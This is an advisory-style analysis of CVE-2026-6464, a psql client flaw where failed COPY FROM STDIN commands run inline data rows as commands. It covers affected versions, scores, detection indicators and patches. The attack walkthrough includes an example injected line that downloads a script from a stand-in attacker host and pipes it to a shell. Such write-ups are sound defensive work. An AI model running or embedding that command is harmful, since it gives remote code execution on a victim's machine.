CVE-2026-6464: 
PostgreSQL vulnerability analysis and mitigation

CVE-2026-6464 is an untrusted data inclusion vulnerability in the PostgreSQL psql client's COPY FROM STDIN command that may allow a server administrator to elicit execution of inline data rows as psql commands via error injection. When a COPY FROM STDIN or \copy FROM STDIN command fails before the server signals readiness for input rows, psql incorrectly processes the inline data rows as psql commands rather than data. Affected versions include PostgreSQL 14.x before 14.24, 15.x before 15.19, 16.x before 16.15, 17.x before 17.11, and 18.x before 18.5. It carries a CVSS v3.1 base score of 8.1 (High) (PostgreSQL Advisory, Feedly).

The root cause is classified as CWE-829 (Inclusion of Functionality from Untrusted Control Sphere): when a COPY FROM STDIN operation encounters a server-side error before the server enters data-receive mode, the psql client falls through to interpreting the buffered inline data rows as interactive psql meta-commands or SQL, rather than discarding them as data. COPY FROM with a filename argument is unaffected because the data path differs. A complete attack requires an adversary to control both the PostgreSQL server (to trigger the error condition) and the data rows being fed to psql; alternatively, an attacker controlling only the data rows could exploit a coincidental, uncontrolled server error to achieve the same effect (PostgreSQL Advisory, Feedly).

Successful exploitation allows arbitrary psql commands — including SQL statements and psql meta-commands such as \! (shell execution) — to be executed in the context of the connecting client user, potentially leading to unauthorized data access, data modification, or operating-system command execution on the client host. The confidentiality, integrity, and availability impacts are all rated High. Because the attack originates over the network and does not require authentication beyond what is needed to initiate a COPY operation, the blast radius can extend to any data accessible by the psql session and, via shell meta-commands, to the underlying OS (PostgreSQL Advisory, Feedly).

As of the time of writing, no public proof-of-concept exploit code has been identified and there is no evidence of active in-the-wild exploitation (Feedly). The EPSS score is approximately 0.49%, reflecting a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is rated non-automatable by NVD SSVC analysis, as it requires high attack complexity — specifically, an attacker must control both the server-side error condition and the data rows, or rely on a coincidental error (PostgreSQL Advisory).

1. Prerequisite — Control server and data: The attacker must have administrative access to a PostgreSQL server instance (to configure it to return an error before entering COPY data-receive mode) and must also control the data rows that a victim psql client will process via COPY FROM STDIN.
2. Craft malicious inline data: Embed psql meta-commands (e.g., \! id or \! curl attacker.com/shell.sh | bash) as lines within the inline data block that follows a COPY FROM STDIN statement in a SQL script or interactive session.
3. Trigger the error condition: Arrange for the server to return an error (e.g., a constraint violation, permission error, or deliberate server-side fault) before it sends the CopyInResponse message that signals readiness to receive rows.
4. psql misinterprets data as commands: Because psql has not yet received the server's readiness signal, it falls back to processing the buffered inline data lines as psql commands, executing the embedded meta-commands in the client's context.
5. Achieve objective: The injected commands execute with the privileges of the OS user running psql, enabling data exfiltration, file read/write, or reverse shell establishment (PostgreSQL Advisory, Feedly).

• Logs: PostgreSQL server logs showing COPY FROM STDIN commands that terminate with an error before entering copy mode, particularly when followed by unexpected SQL or meta-command activity in the same session.
• Process: Unusual child processes spawned by the psql client process (e.g., /bin/sh, curl, wget, python) immediately after a failed COPY operation.
• Network: Outbound connections from the host running psql to unexpected external IP addresses or domains shortly after a psql session involving COPY FROM STDIN.
• File System: New or modified files in directories writable by the psql client OS user, or unexpected scripts dropped in temp directories, following psql sessions with COPY operations.

Upgrade PostgreSQL to the patched releases: 18.5, 17.11, 16.15, 15.19, or 14.24 (PostgreSQL Advisory). As interim mitigations: restrict which users and applications can initiate COPY FROM STDIN operations; implement network access controls to limit connections to PostgreSQL servers to trusted hosts; and avoid running psql scripts that combine COPY FROM STDIN with inline data against untrusted servers. Monitor PostgreSQL logs for failed COPY operations that are immediately followed by unexpected command execution (Feedly).

The vulnerability was disclosed alongside the August 2026 PostgreSQL release cycle, which also addressed multiple other CVEs across supported major versions. Coverage appeared across Linux distribution security channels (Debian, Ubuntu USN-8653-1, openSUSE, SUSE SUSE-SU-2026:3793-1), security aggregators (AusCERT ESB-2026.9568, ESB-2026.9596), and scanner vendors (Tenable Nessus, Qualys). Community discussion noted that the attack complexity is high due to the dual-control requirement, tempering urgency somewhat, though patching was broadly recommended given the High CVSS score (Ubuntu Advisory, SUSE Advisory, PostgreSQL News).